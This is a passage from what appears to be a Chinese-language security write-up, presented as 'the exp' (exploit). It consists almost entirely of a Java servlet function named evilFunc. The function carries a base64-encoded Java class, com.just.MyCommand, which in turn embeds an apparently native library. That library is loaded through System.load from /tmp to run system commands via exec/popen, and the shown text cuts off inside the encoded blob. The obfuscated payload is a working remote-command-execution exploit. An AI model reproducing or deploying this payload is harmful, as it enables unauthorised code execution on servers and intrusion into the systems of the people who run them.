catch (IOException e) { throw new RuntimeException(e); } System.load("/tmp/output.bin"); } }
|
下面直接给出 exp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception { String COMMAND_CLASS_NAME = "com.just.MyCommand"; String COMMAND_CLASS_BYTE_ENCODE = "yv66vgAAADQAUwoAEQAtCgAuAC8HADAIADEKADIAMwoANAA1BwA2CAA3CgAHADgHADkHADoKAAsAOwoABwA8BwA9CgAHAD4KAD8AQAcAQQEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABRMY29tL2p1c3QvTXlDb21tYW5kOwEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAZkZWNvZGUBAAJbQgEAA2ZvcwEAGkxqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW07AQANU3RhY2tNYXBUYWJsZQcAIwcANgcAOQcAPQEAClNvdXJjZUZpbGUBAA5NeUNvbW1hbmQuamF2YQwAFQAWBwBCDABDAEYBABJjb20vanVzdC9NeUNvbW1hbmQBW9hmMFZNUmdJQkFRQUFBQUFBQUFBQUFBTUFQZ0FCQUFBQTRCRUFBQUFBQUFCQUFBQUFBQUFBQUNBOUFBQUFBQUFBQUFBQUFFQUFPQUFMQUVBQUh3QWVBQUVBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW1Bb0FBQUFBQUFDWUNnQUFBQUFBQUFBUUFBQUFBQUFBQVFBQUFBVUFBQUFBRUFBQUFBQUFBQUFRQUFBQUFBQUFBQkFBQUFBQUFBRDFCQUFBQUFBQUFQVUVBQUFBQUFBQUFCQUFBQUFBQUFBQkFBQUFCQUFBQUFBZ0FBQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBSjhCQUFBQUFBQUFud0VBQUFBQUFBQUFFQUFBQUFBQUFBRUFBQUFHQUFBQTRDMEFBQUFBQUFEZ1BRQUFBQUFBQU9BOUFBQUFBQUFBc0FJQUFBQUFBQUM0QWdBQUFBQUFBQUFRQUFBQUFBQUFBZ0FBQUFZQUFBRDRMUUFBQUFBQUFQZzlBQUFBQUFBQStEMEFBQUFBQUFEZ0FRQUFBQUFBQU9BQkFBQUFBQUFBQ0FBQUFBQUFBQUFFQUFBQUJBQUFBS2dDQUFBQUFBQUFxQUlBQUFBQUFBQ29BZ0FBQUFBQUFDQUFBQUFBQUFBQUlBQUFBQUFBQUFBSUFBQUFBQUFBQUFRQUFBQUVBQUFBeUFJQUFBQUFBQURJQWdBQUFBQUFBTWdDQUFBQUFBQUFKQUFBQUFBQUFBQWtBQUFBQUFBQUFBUUFBQUFBQUFBQVUrVjBaQVFBQUFDb0FnQUFBQUFBQUtnQ0FBQUFBQUFBcUFJQUFBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUFDQUFBQUFBQUFBQlE1WFJrQkFBQUFBUWdBQUFBQUFBQUJDQUFBQUFBQUFBRUlBQUFBQUFBQUV3QUFBQUFBQUFBVEFBQUFBQUFBQUFFQUFBQUFBQUFBRkhsZEdRR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBVXVWMFpBUUFBQURnTFFBQUFBQUFBT0E5QUFBQUFBQUE0RDBBQUFBQUFBQWdBZ0FBQUFBQUFDQUNBQUFBQUFBQUFRQUFBQUFBQUFBRUFBQUFFQUFBQUFVQUFBQkhUbFVBQWdBQXdBUUFBQUFEQUFBQUFBQUFBQVFBQUFBVUFBQUFBd0FBQUVkT1ZRREVZWk5SekZYYWtQUzIrMXZJVGtPSDExV2RPQUFBQUFBREFBQUFFZ0FBQUFFQUFBQUdBQUFBQkFBQUFCQkFCUVFTQUFBQUFBQUFBQUFBQUFDd1RqMktndHQwdERQWmZiSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDOEFBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQVFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkdBQUFBSWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDRUFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFqQWdBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFETkFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURDQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQStBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEekFRQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUQ4QUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGVBUUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUMrQVFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBc0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMQWdBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnpBQUFBSWdBT0FLZ1VBQUFBQUFBQVBRQUFBQUFBQUFCVkFBQUFJZ0FPQUhRVUFBQUFBQUFBTkFBQUFBQUFBQUNmQUFBQUVnQU9BSmtTQUFBQUFBQUFkQUVBQUFBQUFBQUFYMTluYlc5dVgzTjBZWEowWDE4QVgwbFVUVjlrWlhKbFoybHpkR1Z5VkUxRGJHOXVaVlJoWW14bEFGOUpWRTFmY21WbmFYTjBaWEpVVFVOc2IyNWxWR0ZpYkdVQVgxOWplR0ZmWm1sdVlXeHBlbVVBWDFwT04wcE9TVVZ1ZGw4eE1rNWxkMU4wY21sdVoxVlVSa1ZRUzJNQVgxcE9OMHBPU1VWdWRsOHhOMGRsZEZOMGNtbHVaMVZVUmtOb1lYSnpSVkE0WDJwemRISnBibWRRYUFCS1lYWmhYMk52YlY5cWRYTjBYMDE1UTI5dGJXRnVaRjlsZUdWakFIQnZjR1Z1QUY5YVRsTjBOMTlmWTNoNE1URXhNbUpoYzJsalgzTjBjbWx1WjBsalUzUXhNV05vWVhKZmRISmhhWFJ6U1dORlUyRkpZMFZGUXpGRmRnQm1aMlYwY3dCZldrNVRkRGRmWDJONGVERXhNVEppWVhOcFkxOXpkSEpwYm1kSlkxTjBNVEZqYUdGeVgzUnlZV2wwYzBsalJWTmhTV05GUlhCTVJWQkxZd0J3WTJ4dmMyVUFYMXBPUzFOME4xOWZZM2g0TVRFeE1tSmhjMmxqWDNOMGNtbHVaMGxqVTNReE1XTm9ZWEpmZEhKaGFYUnpTV05GVTJGSlkwVkZOV05mYzNSeVJYWUFYMXBPVTNRM1gxOWplSGd4TVRFeVltRnphV05mYzNSeWFXNW5TV05UZERFeFkyaGhjbDkwY21GcGRITkpZMFZUWVVsalJVVkVNVVYyQUY5VmJuZHBibVJmVW1WemRXMWxBRjlmYzNSaFkydGZZMmhyWDJaaGFXd0FYMTluZUhoZmNHVnljMjl1WVd4cGRIbGZkakFBWDFwT1UzUTRhVzl6WDJKaGMyVTBTVzVwZEVNeFJYWUFYMXBPVTNRNGFXOXpYMkpoYzJVMFNXNXBkRVF4UlhZQVgxOWplR0ZmWVhSbGVHbDBBR3hwWW5OMFpHTXJLeTV6Ynk0MkFHeHBZbWRqWTE5ekxuTnZMakVBYkdsaVl5NXpieTQyQUVkRFExOHpMakFBUTFoWVFVSkpYekV1TXdCSFRFbENRMWhZWHpNdU5BQkhURWxDUTFoWVh6TXVOQzR5TVFCSFRFbENRMTh5TGpRQVIweEpRa05mTWk0eUxqVUFBQUFBQWdBREFBSUFBd0FDQUFNQUJBQURBQUlBQlFBQ0FBWUFBQUFIQUFBQUFBQUZBQUVBQVFBQkFBQUFBUUFCQUQ4Q0FBQVFBQUFBSUFBQUFGQW1lUXNBQUFjQVZ3SUFBQUFBQUFBQkFBTUFNQUlBQUJBQUFBQkFBQUFBMDY5ckJRQUFCZ0JmQWdBQUVBQUFBSFFwa2dnQUFBVUFhZ0lBQUJBQUFBQngrSmNDQUFBREFIWUNBQUFBQUFBQUFRQUNBRTBDQUFBUUFBQUFBQUFBQUJScGFRMEFBQVFBaFFJQUFCQUFBQUIxR21rSkFBQUNBSThDQUFBQUFBQUE0RDBBQUFBQUFBQUlBQUFBQUFBQUFKQVNBQUFBQUFBQTZEMEFBQUFBQUFBSUFBQUFBQUFBQUZvVUFBQUFBQUFBOEQwQUFBQUFBQUFJQUFBQUFBQUFBRkFTQUFBQUFBQUFnRUFBQUFBQUFBQUlBQUFBQUFBQUFJQkFBQUFBQUFBQTJEOEFBQUFBQUFBR0FBQUFBd0FBQUFBQUFBQUFBQUFBNEQ4QUFBQUFBQUFHQUFBQURRQUFBQUFBQUFBQUFBQUE2RDhBQUFBQUFBQUdBQUFBRHdBQUFBQUFBQUFBQUFBQThEOEFBQUFBQUFBR0FBQUFFQUFBQUFBQUFBQUFBQUFBK0Q4QUFBQUFBQUFHQUFBQUVRQUFBQUFBQUFBQUFBQUFpRUFBQUFBQUFBQUJBQUFBREFBQUFBQUFBQUFBQUFBQUdFQUFBQUFBQUFBSEFBQUFBUUFBQUFBQUFBQUFBQUFBSUVBQUFBQUFBQUFIQUFBQUFnQUFBQUFBQUFBQUFBQUFLRUFBQUFBQUFBQUhBQUFBQkFBQUFBQUFBQUFBQUFBQU1FQUFBQUFBQUFBSEFBQUFFZ0FBQUFBQUFBQUFBQUFBT0VBQUFBQUFBQUFIQUFBQUJRQUFBQUFBQUFBQUFBQUFRRUFBQUFBQUFBQUhBQUFBQmdBQUFBQUFBQUFBQUFBQVNFQUFBQUFBQUFBSEFBQUFCd0FBQUFBQUFBQUFBQUFBVUVBQUFBQUFBQUFIQUFBQUNBQUFBQUFBQUFBQUFBQUFXRUFBQUFBQUFBQUhBQUFBQ1FBQUFBQUFBQUFBQUFBQVlFQUFBQUFBQUFBSEFBQUFDZ0FBQUFBQUFBQUFBQUFBYUVBQUFBQUFBQUFIQUFBQUN3QUFBQUFBQUFBQUFBQUFjRUFBQUFBQUFBQUhBQUFBRGdBQUFBQUFBQUFBQUFBQWVFQUFBQUFBQUFBSEFBQUFFd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUE1QSHZwSWcrd0lTSXNGMlM4QUFFaUZ3SFFDLzlCSWc4UUl3d0FBQUFBQS96WGlMd0FBOHY4bDR5OEFBQThmQVBNUEh2cG9BQUFBQVBMcDRmLy8vNUR6RHg3NmFBRUFBQUR5NmRILy8vK1E4dzhlK21nQ0FBQUE4dW5CLy8vL2tQTVBIdnBvQXdBQUFQTHBzZi8vLzVEekR4NzZhQVFBQUFEeTZhSC8vLytROHc4ZSttZ0ZBQUFBOHVtUi8vLy9rUE1QSHZwb0JnQUFBUExwZ2YvLy81RHpEeDc2YUFjQUFBRHk2WEgvLy8rUTh3OGUrbWdJQUFBQTh1bGgvLy8va1BNUEh2cG9DUUFBQVBMcFVmLy8vNUR6RHg3NmFBb0FBQUR5NlVILy8vK1E4dzhlK21nTEFBQUE4dWt4Ly8vL2tQTVBIdnBvREFBQUFQTHBJZi8vLzVEekR4NzY4djhselM0QUFBOGZSQUFBOHc4ZSt2TC9KZjB1QUFBUEgwUUFBUE1QSHZyeS95WDFMZ0FBRHg5RUFBRHpEeDc2OHY4bDdTNEFBQThmUkFBQTh3OGUrdkwvSmVVdUFBQVBIMFFBQVBNUEh2cnkveVhkTGdBQUR4OUVBQUR6RHg3Njh2OGwxUzRBQUE4ZlJBQUE4dzhlK3ZML0pjMHVBQUFQSDBRQUFQTVBIdnJ5L3lYRkxnQUFEeDlFQUFEekR4NzY4djhsdlM0QUFBOGZSQUFBOHc4ZSt2TC9KYlV1QUFBUEgwUUFBUE1QSHZyeS95V3RMZ0FBRHg5RUFBRHpEeDc2OHY4bHBTNEFBQThmUkFBQTh3OGUrdkwvSlowdUFBQVBIMFFBQUVpTlBha3VBQUJJalFXaUxnQUFTRG40ZEJWSWl3WG1MUUFBU0lYQWRBbi80QThmZ0FBQUFBREREeCtBQUFBQUFFaU5QWGt1QUFCSWpUVnlMZ0FBU0NuK1NJbndTTUh1UDBqQitBTklBY1pJMGY1MEZFaUxCYlV0QUFCSWhjQjBDUC9nWmc4ZlJBQUF3dzhmZ0FBQUFBRHpEeDc2Z0QwMUxnQUFBSFVyVlVpRFBYSXRBQUFBU0lubGRBeElpejBPTGdBQTZJbisvLy9vWlAvLy84WUZEUzRBQUFGZHd3OGZBTU1QSDRBQUFBQUE4dzhlK3VsMy8vLy84dzhlK2xWSWllVlRTSUhzK0FBQUFFaUp2UmovLy85SWliVVEvLy8vU0ltVkNQLy8vMlJJaXdRbEtBQUFBRWlKUmVneHdFaUR2UWovLy84QUQ0VHBBQUFBU0kyVkwvLy8vMGlMalFqLy8vOUlpNFVZLy8vL1NJbk9TSW5INkVYKy8vOUlpWVV3Ly8vL1NJdUZNUC8vLzBpTk5mRU1BQUJJaWNmbytQMy8vMGlKaFRqLy8vOUlnNzA0Ly8vL0FBK0Vsd0FBQUVpTmhVRC8vLzlJaWNmb1JQNy8vMGlMbFRqLy8vOUlqWVZnLy8vL3ZvQUFBQUJJaWNmb1dmNy8vMGlGd0ErVndJVEFkQnRJalpWZy8vLy9TSTJGUVAvLy8waUoxa2lKeCtqbS9mLy82OEJJaTRVNC8vLy9TSW5INkFYKy8vOUlqWVZBLy8vL1NJbkg2SWI5Ly85SWljSklpNFVZLy8vL1NJbldTSW5INkNIKy8vOUlpY09RU0kyRlFQLy8vMGlKeCtodS9mLy82d1c3QUFBQUFFaUoyRWlMVGVoa1NETU1KU2dBQUFCMEtPc2g4dzhlK2tpSncwaU5oVUQvLy85SWljZm9QZjMvLzBpSjJFaUp4K2pDL2YvLzZHMzkvLzlJZ2NUNEFBQUFXMTNEOHc4ZStsVklpZVZJZyt3UWlYMzhpWFg0ZzMzOEFYVXlnWDM0Ly84QUFIVXBTSTA5WEN3QUFPaG0vZi8vU0kwVlB5d0FBRWlOTlVrc0FBQklpd1dwS3dBQVNJbkg2UG44Ly8rUXljUHpEeDc2VlVpSjViNy8vd0FBdndFQUFBRG9uUC8vLzEzRGtQTVBIdnBWU0lubFNJUHNFRWlKZmZoSWlYWHdTSXRGK0VpTEFFaUxpRGdGQUFCSWkxWHdTSXRGK0VpSjFraUp4Ly9SeWNQekR4NzZWVWlKNVVpRDdDQklpWDM0U0lsMThFaUpWZWhJaTBYNFNJc0FUSXVBU0FVQUFFaUxWZWhJaTAzd1NJdEYrRWlKemtpSngwSC8wTW5EQUFBQTh3OGUra2lEN0FoSWc4UUl3d0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB